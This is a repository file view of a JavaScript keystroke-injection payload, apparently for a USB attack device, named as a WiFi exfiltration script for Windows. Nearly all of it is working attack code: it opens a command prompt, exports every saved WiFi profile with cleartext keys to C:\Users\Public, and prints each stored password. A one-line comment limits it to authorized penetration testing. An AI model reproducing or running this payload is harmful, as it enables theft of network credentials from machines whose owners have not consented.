Files
Bjorn/loki/payloads/wifi_exfil_win.js
infinition aac77a3e76 Add Loki and Sentinel utility classes for web API endpoints
- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.
2026-03-14 22:33:10 +01:00

21 lines
644 B
JavaScript

// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
// WARNING: For authorized penetration testing only.
layout('us');
delay(1000);
// Open CMD
press("GUI r");
delay(500);
type("cmd\n");
delay(1000);
// Export all WiFi profiles with keys to a file
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
delay(3000);
// Show WiFi passwords inline
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
delay(5000);
console.log("WiFi profiles exported to C:\\Users\\Public");